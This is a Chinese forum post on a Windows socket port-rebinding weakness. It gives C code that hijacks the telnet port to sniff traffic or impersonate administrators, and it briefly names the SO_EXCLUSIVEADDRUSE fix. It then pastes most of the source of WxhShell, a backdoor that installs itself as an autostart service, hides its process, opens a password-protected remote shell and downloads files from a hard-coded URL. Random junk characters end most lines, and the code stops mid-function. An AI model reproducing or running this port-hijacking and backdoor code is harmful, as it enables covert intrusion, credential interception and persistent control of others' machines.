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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CmoE _8U>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /^#;d UB  
z?*w8kU&>  
  saddr.sin_family = AF_INET; 7Bd-!$j+  
lSVp%0jR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -^hWM}F  
'|8} z4/g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vkEiOFU!u  
S(*sw 0O@+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c2'Lfgx4  
cmU1!2.1E  
  这意味着什么?意味着可以进行如下的攻击: FwkuC09tI  
GQUe!G9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ay0U=#XP  
A#J`;5!Sc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \=ux atw  
Ni-xx9)=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3@$,s~+ 3  
D!Pq4'd(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Sp;G'*g  
1e{IC=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b((M)Gz  
|8l<$J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '6cWS'9"  
gf &Pn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |es?;s'  
($;77fPR  
  #include %,@e^3B  
  #include i/`m`qdg  
  #include 87 $dBb{  
  #include    yDegcAn?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H2jgO?l;!  
  int main() RbP6F*f  
  { c]n1':FT"  
  WORD wVersionRequested; jZ~n[ f+Q  
  DWORD ret; v50bdj9}k  
  WSADATA wsaData; "8x8UgG  
  BOOL val; CR"|^{G  
  SOCKADDR_IN saddr; c|B.n]Z  
  SOCKADDR_IN scaddr; )f[ B6Y  
  int err; 2a`o &S  
  SOCKET s; V)~.~2$  
  SOCKET sc; xSsa(b  
  int caddsize; }Mp:JPH&S4  
  HANDLE mt; c4^ks&)'  
  DWORD tid;   9.gXzP H  
  wVersionRequested = MAKEWORD( 2, 2 ); K}buH\yco  
  err = WSAStartup( wVersionRequested, &wsaData ); t\k$};qJ  
  if ( err != 0 ) { e478U$  
  printf("error!WSAStartup failed!\n"); 9=8iy w  
  return -1; i1NY9br  
  } * K D I}B>  
  saddr.sin_family = AF_INET; !sQY&*  
   ?mFv0_!O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M3c$=>  
;o2$ Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p.v0D:@&  
  saddr.sin_port = htons(23); `>f6) C-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dwr)0nk  
  { ]6(N@RC  
  printf("error!socket failed!\n"); pN:Kdi  
  return -1; F4}]b(L  
  } 7Bzq,2s  
  val = TRUE; `.~N4+SP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tc>   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c'>/  
  { cl[BF'.H  
  printf("error!setsockopt failed!\n"); "GMBjT8  
  return -1; B%)%  
  } r@h5w_9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #~}nFY.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LrM=*R h,O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C*)3e*T*  
R_W+Ylob  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 42{Ew8  
  { ,Ys %:>?  
  ret=GetLastError(); , pDnRRJ!  
  printf("error!bind failed!\n"); TN!j13,  
  return -1; W=^#v  
  } 8uc1iB  
  listen(s,2); R]c+?4J  
  while(1) D/Z6C&/I  
  { ]HKQDc'  
  caddsize = sizeof(scaddr); Pk{_(ybaY  
  //接受连接请求 w28o}$b`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :|V$\!o'U  
  if(sc!=INVALID_SOCKET) Q]Y*K  
  { TyD4|| %  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vwg|K|  
  if(mt==NULL) h58`XH  
  { u)X=Qm)  
  printf("Thread Creat Failed!\n"); we~[] \  
  break; 8ndYV>{f  
  } =x%dNf$e{W  
  } d A@]!  
  CloseHandle(mt);  8n#HFJ~  
  } :1cV;gJ  
  closesocket(s); .0S~872  
  WSACleanup(); #|Y5,a ,{  
  return 0; q@QksAq  
  }   iV5yJF{ZH  
  DWORD WINAPI ClientThread(LPVOID lpParam) a,@]8r-"  
  { Y>|B;Kj0(  
  SOCKET ss = (SOCKET)lpParam; |{BIHgMh  
  SOCKET sc; Y}t \4 di  
  unsigned char buf[4096]; g`{;(/M+  
  SOCKADDR_IN saddr; +X#vVD3"  
  long num; mq aHwID  
  DWORD val; Tzt8h\Q^z  
  DWORD ret; =)M/@T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yl4^AR&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m!|kW{B#A  
  saddr.sin_family = AF_INET; ~bM4[*Q7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |4)>:d  
  saddr.sin_port = htons(23); R@58*c:U(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9oyE$S h]  
  { y?[ v=j*U  
  printf("error!socket failed!\n"); iZ#!O* >  
  return -1; _Zp}?b5Q  
  } 35Ij ..z0  
  val = 100; ,0~^>K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [>+4^&  
  { (yu/l 6[  
  ret = GetLastError(); &vo--V1|  
  return -1; S@jQX  
  }  ,V,`Jf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #X%~B'  
  { chcbd y>C  
  ret = GetLastError(); F|d\k Q  
  return -1; kW2sY^Rg  
  } }\z.)B4,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *"+=K,#D  
  { {'XggI%  
  printf("error!socket connect failed!\n"); 8qk?E6  
  closesocket(sc); :}Xll#.,m  
  closesocket(ss); X@$f$=  
  return -1; `_BNy=`s*  
  } j>*R]mr6  
  while(1) g-Mj.owu=  
  { Qi ua  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J ][T"K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  |XT)QK1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m4TE5q%3  
  num = recv(ss,buf,4096,0); ujDd1Bxf?  
  if(num>0) o>).Cj  
  send(sc,buf,num,0); ; o?-yI&T*  
  else if(num==0) 9E zj"  
  break; 3/aMJR:o  
  num = recv(sc,buf,4096,0); I!^;8Pg  
  if(num>0) 4~k\j  
  send(ss,buf,num,0); GQt8p[!  
  else if(num==0) 8qY79)vD4E  
  break; |*oZ _gI  
  } 7F zA*  
  closesocket(ss); NE"@Bk cm  
  closesocket(sc); aO]ZZleNS  
  return 0 ; Q;[,Q~c[u  
  } 88VZR&v   
t#Z-mv:(  
W}3.E "K  
========================================================== 1_o],? Q  
&qMPq->  
下边附上一个代码,,WXhSHELL Uo-)pFN^  
k&&2Tq  
========================================================== *?Lv3}E  
}O/U;4Z  
#include "stdafx.h" aK&b{d  
_76PIR{an  
#include <stdio.h> bHPYp5UwN  
#include <string.h> QP@%(]fG  
#include <windows.h> ]Uw<$!$-]s  
#include <winsock2.h> ;Yx)tWQI  
#include <winsvc.h> Qt iDTr  
#include <urlmon.h> O*eby*%h  
4zASMu  
#pragma comment (lib, "Ws2_32.lib") RS"H8P 4W  
#pragma comment (lib, "urlmon.lib") +vYoB$!  
b o0^3]Z  
#define MAX_USER   100 // 最大客户端连接数 TkE 8D n  
#define BUF_SOCK   200 // sock buffer 0)%YNaskj  
#define KEY_BUFF   255 // 输入 buffer C+?Hm1  
m`IC6*  
#define REBOOT     0   // 重启 Ao&\EcIOT  
#define SHUTDOWN   1   // 关机 Y&[1`:-~-  
9:fOYT$8  
#define DEF_PORT   5000 // 监听端口 CAWA3fcQp  
0]>u )%  
#define REG_LEN     16   // 注册表键长度 P7J>+cm  
#define SVC_LEN     80   // NT服务名长度 nA?`BOe(  
kd=GCO  
// 从dll定义API 3 j!3E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sSOOXdnGG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I[=j&rK`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {p)",)td  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aiQ>xen5C5  
@En^wN  
// wxhshell配置信息 _]04lGx27  
struct WSCFG { sC27FVwo  
  int ws_port;         // 监听端口 =7-9[{  
  char ws_passstr[REG_LEN]; // 口令 dI*pDDq#  
  int ws_autoins;       // 安装标记, 1=yes 0=no il}%7b-  
  char ws_regname[REG_LEN]; // 注册表键名 w<C#Bka  
  char ws_svcname[REG_LEN]; // 服务名 ~u)}ScTp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @xQgY*f#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +~'865{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wQv'8A_}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $@sEn4h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9)0D~oUi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1)9sf0LyU  
]Gpxhg  
}; .EpV;xq}  
xgABpikC^  
// default Wxhshell configuration 5 elw~u  
struct WSCFG wscfg={DEF_PORT, #?5 (o  
    "xuhuanlingzhe", L>MLi3{  
    1, 09dK0H3(  
    "Wxhshell", wDcj,:h`  
    "Wxhshell", eKgisY4#  
            "WxhShell Service", 0F@"b{&0  
    "Wrsky Windows CmdShell Service", jH19k}D  
    "Please Input Your Password: ", O>SLOWgha  
  1, WEFlV4/  
  "http://www.wrsky.com/wxhshell.exe", I{ HN67O  
  "Wxhshell.exe" r9X?PA0f  
    }; `%CtWJ(e  
=3|O %\  
// 消息定义模块 M54j@_81pX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kz{/(t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z&ZP"P4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qi;f^9M%  
char *msg_ws_ext="\n\rExit."; :r%P.60H X  
char *msg_ws_end="\n\rQuit."; "vXxv'0\f  
char *msg_ws_boot="\n\rReboot..."; >fe- d#!{  
char *msg_ws_poff="\n\rShutdown..."; ([ jF4/  
char *msg_ws_down="\n\rSave to "; e:DkGy`-s  
NxjB/N  
char *msg_ws_err="\n\rErr!"; +cIUGF p}  
char *msg_ws_ok="\n\rOK!"; UjaK&K+M?  
fYp'&Btb]x  
char ExeFile[MAX_PATH]; 0.dgoq 3u  
int nUser = 0; + hn+K1  
HANDLE handles[MAX_USER]; &F\?  
int OsIsNt; 6;C3RU]  
_8"O$w  
SERVICE_STATUS       serviceStatus; $P>`m$(8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j2Tr $gx<  
&$"i,~q^b  
// 函数声明 :{qv~&+C  
int Install(void); lCAIK  
int Uninstall(void); ^ s1Q*He  
int DownloadFile(char *sURL, SOCKET wsh); f&}k^>N#3  
int Boot(int flag); L~(_x"uXd  
void HideProc(void); $tz;<M7B  
int GetOsVer(void); W- i&sUgy  
int Wxhshell(SOCKET wsl); RMd[Yr2e  
void TalkWithClient(void *cs); ?z}=B  
int CmdShell(SOCKET sock); ~7Ts_:E-  
int StartFromService(void); eAX )^q  
int StartWxhshell(LPSTR lpCmdLine); 8i6Ps$T  
hy}8Aji&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K3m]%m2\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]d,S749(s  
SxdE?uCUS  
// 数据结构和表定义 SGh1 DB  
SERVICE_TABLE_ENTRY DispatchTable[] = ktj]:rCkF  
{ @Gx.q&H  
{wscfg.ws_svcname, NTServiceMain}, K) qF+Vb^j  
{NULL, NULL} Atflf2K  
}; #?q&r_@@  
V2$h8\a  
// 自我安装 RRmLd/(  
int Install(void) =:DaS`~V  
{ ojQI7 Uhw  
  char svExeFile[MAX_PATH]; HFwN  
  HKEY key; XEn*?.e  
  strcpy(svExeFile,ExeFile); D<8HZ%o  
Ul2R'"FB  
// 如果是win9x系统,修改注册表设为自启动 ,Vh.T&X5  
if(!OsIsNt) { .uyGYj-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p[<Dk$7K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _/Gczy4)#  
  RegCloseKey(key); Vy*:ne  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dY@WI[yog  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *GxTX3i}vc  
  RegCloseKey(key); s:p[DEj-  
  return 0; YhOlxON  
    } 70f Klp  
  } G2t;DN(  
} (4'$y`Z  
else { T%6&PrQ7  
/I)yU>o  
// 如果是NT以上系统,安装为系统服务 Eq$&qV-?(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @fs`=lL/  
if (schSCManager!=0) |;.o8}  
{ Mu{;vf|j  
  SC_HANDLE schService = CreateService *c%oN |  
  ( U>V&-kxtV  
  schSCManager, u}!@ ,/)  
  wscfg.ws_svcname, %CS@g.H=_  
  wscfg.ws_svcdisp, ]xX$<@HR  
  SERVICE_ALL_ACCESS, 2>86oP&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  `)GrwfC  
  SERVICE_AUTO_START, %^I88,$&L  
  SERVICE_ERROR_NORMAL, KN7^:cC  
  svExeFile, vhsk 0$f  
  NULL, N@O8\oQG  
  NULL, #<e\QE'!  
  NULL, LbaK={tR  
  NULL, S}$r>[t  
  NULL ua5OGx  
  ); F%i^XA]a*  
  if (schService!=0) wD68tG$  
  { ~><^'j[  
  CloseServiceHandle(schService); Row)hx8  
  CloseServiceHandle(schSCManager); krsYog(^z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); usEwm,b)  
  strcat(svExeFile,wscfg.ws_svcname); w3=%*<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nluv/?<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9cEv&3  
  RegCloseKey(key); wY~&Q}U  
  return 0; ,WJH}(h"D  
    } OiE;B  
  } {"&SJt[%X  
  CloseServiceHandle(schSCManager); OCZ[D{i9@  
} (FJ9-K0b{n  
} 4m*M,#mV  
DXa=|T  
return 1; (9<guv  
} %F:)5gT?  
EL8NZ%:v:  
// 自我卸载 bYi`R)  
int Uninstall(void) VH=S?_RY>  
{ wjh=Q  
  HKEY key; 9lGOWRxR)  
+hE(Ra#  
if(!OsIsNt) { NPd%M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NzU,va N  
  RegDeleteValue(key,wscfg.ws_regname); c)A{p  
  RegCloseKey(key); M/):e$S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]d a^xWK  
  RegDeleteValue(key,wscfg.ws_regname); ~=KJzOS,S  
  RegCloseKey(key); x_c7R;C  
  return 0; J|X 6j&-  
  } "y_#7K  
}  )$`wIp  
} Q %wY  
else { #]#sGmW/L  
jCrpL~tWT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GrTulN?  
if (schSCManager!=0) jS+AGE?5e  
{ mwY IJy[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 05snuNt]-  
  if (schService!=0) j'aHF#_  
  { nPs7c %  
  if(DeleteService(schService)!=0) { )13dn]o=2  
  CloseServiceHandle(schService); $Bj;D=d@V  
  CloseServiceHandle(schSCManager); nK$X[KrV'  
  return 0; )u/H>;L P  
  } `;l?12|X  
  CloseServiceHandle(schService); /Nr*`l  
  } esHQoIhd  
  CloseServiceHandle(schSCManager); 4'6`Ll|iq  
} -0_d/'d  
} rp6q?3=g  
^':!1  
return 1; @#P,d5^G  
} CBDG./  
c-g)eV|)S  
// 从指定url下载文件 Hew d4k  
int DownloadFile(char *sURL, SOCKET wsh) n @?4b8"  
{ C=s1R;"H  
  HRESULT hr; *J+_|_0nlW  
char seps[]= "/"; <)\y#N  
char *token; ]D@0|  
char *file; ovwQ2TuK  
char myURL[MAX_PATH]; p_UlK8rb  
char myFILE[MAX_PATH]; (u]N  
8ZCoc5  
strcpy(myURL,sURL); wtT}V=_  
  token=strtok(myURL,seps); rz"txN  
  while(token!=NULL) =7m}yDs6$  
  { l3Lyea:  
    file=token; Up:<=Kgci  
  token=strtok(NULL,seps); WHAQu]{  
  } HLBkR>e  
2_ :n  
GetCurrentDirectory(MAX_PATH,myFILE); M;0]u.D*=  
strcat(myFILE, "\\"); 6<'rG''  
strcat(myFILE, file); iA0q_( \X  
  send(wsh,myFILE,strlen(myFILE),0); ]$p{I)d&  
send(wsh,"...",3,0); <H0R&l\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `60gFVu  
  if(hr==S_OK) .e'eE  
return 0; (ewe"N+  
else y$3;$ R^  
return 1; $2<d<Um~z  
]c&<zeX,  
} dgDy5{_  
8/t$d#xHI  
// 系统电源模块 D;I6Q1I  
int Boot(int flag) `;YU.*  
{ i 9g>9  
  HANDLE hToken; 7},)]da>,'  
  TOKEN_PRIVILEGES tkp; VR  
_:+ KMR  
  if(OsIsNt) { ;SwMu@tg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (mtoA#X1:h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  Y=`  
    tkp.PrivilegeCount = 1; |A%<Z(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A<\JQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `)qVF,Z}  
if(flag==REBOOT) { _BFOc>0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -!0_:m3  
  return 0; ,v&L:a  
} }<z_Q_b+e  
else { .))v0   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {QbvR*gv  
  return 0; y7S4d~&  
} T~fmk f$  
  } lQfL3`X!  
  else { 8vuCc=  
if(flag==REBOOT) { DAg58 =qJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lCF `*DM#  
  return 0; Sa"9^_.2#  
} 6{ ,HiY  
else { kQaSbpNmH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zZiJ 9 e  
  return 0; BYY RoE[P  
} N)S!7%ne  
} p#SY /KIw  
8 4i_k  
return 1; )HD`O~M>  
} l;sy0S"DO]  
P]i =r] i  
// win9x进程隐藏模块 =<@\,xN>C  
void HideProc(void) #{9G sD  
{ =&!HwOnp  
]I/Vbs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DMF -Y-h  
  if ( hKernel != NULL ) 5j0{p$'9  
  { uY< H#k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =`Y.=RL+'n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !;6Jng%  
    FreeLibrary(hKernel); 4wi(?  
  } CSV;+,Vv  
GHF_R,7  
return; CC;! <km  
} dr{y0`CCN  
]O{u tm  
// 获取操作系统版本 ]NhS=3*i+  
int GetOsVer(void) hh~n#7w~IR  
{ 7Z UiY  
  OSVERSIONINFO winfo; M=xQ=j?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 24Z]%+b*E  
  GetVersionEx(&winfo); pPVRsXy  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >)_ojDO  
  return 1; +Z!;P Z6  
  else `]$?uQ  
  return 0; y[O-pD`  
} 'SLE;_TD  
Gg\G'QU  
// 客户端句柄模块 M,3wmW&d6  
int Wxhshell(SOCKET wsl) fqs]<qi  
{ bXYA5wG  
  SOCKET wsh; NZu)j["  
  struct sockaddr_in client; WxbsD S;  
  DWORD myID; .[DthEF  
Ufo>|A6;$  
  while(nUser<MAX_USER) xjdw'v+qZo  
{ Fv?=Z-wk  
  int nSize=sizeof(client); #JA}3]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4R>zPEo  
  if(wsh==INVALID_SOCKET) return 1; bg?"ILpk  
gM>=%/.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &X`u9 V  
if(handles[nUser]==0) Sx ] T/xq  
  closesocket(wsh);  Voh hQ  
else ]%RNA:(F'  
  nUser++; 'f/Lv@]a  
  } jnu Y{0(&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ">dq0gD  
Uz%Z&K  
  return 0; J NC  
} '?o9VrO  
R*1kR|*_)  
// 关闭 socket kE;O7sN   
void CloseIt(SOCKET wsh) \'19BAm'  
{ ;]CVb`d  
closesocket(wsh); >+cVs:  
nUser--; 2aw&F Z?  
ExitThread(0); |!d"*.Q@F  
} A1cb"N^  
SC#sax4N!=  
// 客户端请求句柄 b'x$2K;E  
void TalkWithClient(void *cs) rFJ[dz  
{ lS{r=y_0.  
i(2y:U3[@  
  SOCKET wsh=(SOCKET)cs; <XQ.A3SG!  
  char pwd[SVC_LEN]; <c,~aq#W'  
  char cmd[KEY_BUFF]; Mo|wME#M  
char chr[1]; tPuut\ee  
int i,j; BOf1J1  
ned2lC&'d>  
  while (nUser < MAX_USER) { ED![^=  
K.>wQA&  
if(wscfg.ws_passstr) { 3+OsjZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9x~-*8aw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $%c{06Oq(  
  //ZeroMemory(pwd,KEY_BUFF); sCH)gr@gJ^  
      i=0; !)NidG  
  while(i<SVC_LEN) {  W^g[L:s  
lx,`hl%  
  // 设置超时 ,*,sw:=2  
  fd_set FdRead; =~FG&rk^  
  struct timeval TimeOut; CfT/R/L  
  FD_ZERO(&FdRead); UWG+#,1J.\  
  FD_SET(wsh,&FdRead); n l/UdgI  
  TimeOut.tv_sec=8; b_$ 1f >  
  TimeOut.tv_usec=0; v:ER 4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;Fl<v@9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9$d.P6|d>  
>`V}U*}*H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P-z`c\Rt  
  pwd=chr[0]; S;@ay/*~  
  if(chr[0]==0xd || chr[0]==0xa) { BQgoVnQo_c  
  pwd=0; &m{'nRU}c  
  break; aSaAC7sFk  
  } |ek ak{js  
  i++; "/%89 HMD  
    } ^nDal':*  
(fk5'  
  // 如果是非法用户,关闭 socket =_=*OEgO]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wr|G:(kw\!  
}  7 Yv!N  
2P~)I)3V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {E,SHh   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E[Bo4?s&^  
g@nk.aRw  
while(1) { -6EK#!+  
#V 43=  
  ZeroMemory(cmd,KEY_BUFF); \SYvD y]  
^)\+l%M  
      // 自动支持客户端 telnet标准   )&1!xF   
  j=0; -Wo15O"  
  while(j<KEY_BUFF) { /8CY0Ey  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v|+5:jFOqb  
  cmd[j]=chr[0]; CB}BQd  
  if(chr[0]==0xa || chr[0]==0xd) { o42`z>~  
  cmd[j]=0; r?p{L F  
  break; o'UHStk  
  } ( )|3  
  j++; D\rmaF+  
    } xks?y.wA  
Lar r}o=  
  // 下载文件 LdWc X`K  
  if(strstr(cmd,"http://")) { T1~)^qQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #\FT EY!  
  if(DownloadFile(cmd,wsh)) 8 $ ~3ra  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QUP|FIpZ  
  else c4]u&tvjJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pieT'mA  
  } T_ ^C#>  
  else { W);W.:F  
dtW0\^ .L  
    switch(cmd[0]) { |cTpw1%I~  
  {\We72!  
  // 帮助 };SV!'9s?~  
  case '?': { ! zfFt;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t.=Oj  
    break; )/%S=c  
  } A@ VaaX  
  // 安装 L+R >%d s  
  case 'i': { B_~jA%0m'  
    if(Install()) ;QPy:x3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%He$t  
    else /yK"t< p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%7<"  
    break; ;X7i/D Q  
    } Yo'K pdn  
  // 卸载 %cj58zO |y  
  case 'r': { &>=#w"skb6  
    if(Uninstall()) P6HGs? *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5b fb!7-[i  
    else plku-O;]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Jpm KO  
    break; #: hVF/  
    } 22vq=RO7Z  
  // 显示 wxhshell 所在路径 4K,''7N3  
  case 'p': { )>$^wT  
    char svExeFile[MAX_PATH]; H-a^BZ&iU  
    strcpy(svExeFile,"\n\r"); r<_2qICgP  
      strcat(svExeFile,ExeFile); gb_X?j%p7  
        send(wsh,svExeFile,strlen(svExeFile),0); 1f;or_f#k?  
    break; u+DX$#-n!]  
    } _80ns&q  
  // 重启 Xu%d,T$G  
  case 'b': { EIK*49b2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pzSqbgfrQ  
    if(Boot(REBOOT)) \^s2W:c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =c]a {|W?  
    else { 5mIXyg 0:  
    closesocket(wsh); y< ud('D  
    ExitThread(0); {rfte'4;=  
    } F(0Z ]#+  
    break; s!`H  
    } -$L(y@%X^  
  // 关机 %yhI;M^  
  case 'd': { EE9vk*[@C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =LqL@5Xr  
    if(Boot(SHUTDOWN)) "OJr*B  
